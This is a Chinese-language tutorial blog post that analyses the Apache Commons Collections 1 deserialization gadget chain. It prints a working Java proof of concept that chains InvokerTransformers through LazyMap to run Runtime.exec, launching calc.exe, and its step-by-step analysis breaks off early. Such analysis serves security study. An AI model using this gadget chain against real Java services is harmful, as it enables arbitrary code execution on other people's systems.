Commons Collections1分析

0x01、基础知识铺垫

接下来这个过程将涉及到几个接口和类

1、LazyMap

我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, valueTransformer); 2、Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

Commons Collections1分析

3、ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个实现类,它的过程就是在构造函数的时候传⼊⼀个

对象,并在transform⽅法将这个对象再返回:

Commons Collections1分析

4、InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序

列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名第⼆个参数

是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表

Commons Collections1分析

后⾯还提供了transform⽅法,就是执⾏了input对象的iMethodName⽅法:

Commons Collections1分析

5、ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个实现类,它的作⽤是将内部的多个Transformer串

在⼀起。

Commons Collections1分析

也就是Stream中的概念,链式调用

Commons Collections1分析

Commons Collections1分析

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

6、Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

7、decorate Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

LazyMap是在get方法去调用方法,当调用get(key)的key不存在时,会调用transformerChain的transform()方法

0x02、exp的分析 import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; public class test02_cc1 { public static void main(String[] args) throws Exception { //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("key", "0x7e"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain); tmpmap.get("1"); } }

我们先看看这段代码,看不懂没事,我们分段一步一步分析

0x03、第一部分分析

Commons Collections1分析

可以看出这边是new一个Transformer类型的数组,里面存储的都是Transformer的实现类

第一个元素中是ConstantTransform:

为什么是传入Runtime.class,因为Runtime类不用实现Serializable接口,所以没办法进行反序列化

Runtime.getRuntime()和 Runtime.class的区别 ,前者是⼀个 java.lang.Runtime对象,后者是⼀个 java.lang.Class 对象。Class类有实现Serializable接⼝

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wppgsj.html